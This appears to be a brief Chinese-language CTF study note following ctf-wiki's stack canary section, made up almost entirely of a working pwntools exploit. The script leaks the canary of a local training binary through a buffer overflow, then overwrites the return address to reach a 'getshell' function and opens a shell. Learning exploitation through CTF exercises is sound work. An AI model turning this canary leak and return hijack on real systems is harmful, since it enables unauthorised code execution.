跟着ctf-wiki一起学pwn

跟着ctf-wiki一起学pwn

(学习记录)

canary

泄露栈中的canary

这个比较简单,写一下exp过一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python

from pwn import *

context(os='linux',arch='i386',log_level='debug')
p = process('./ex2')
addr = ELF("./ex2").sym["getshell"]
p.recvuntil("Hello Hacker!\n");
payload = "A"*100
p.sendline(payload)
p.recvuntil("A"*100)
canary = u32(p.recv(4))-0xa
payload = "A"*100 + p32(canary) + "A"*12 + p32(addr)
p.send(payload)
p.recv()

p.interactive()
0%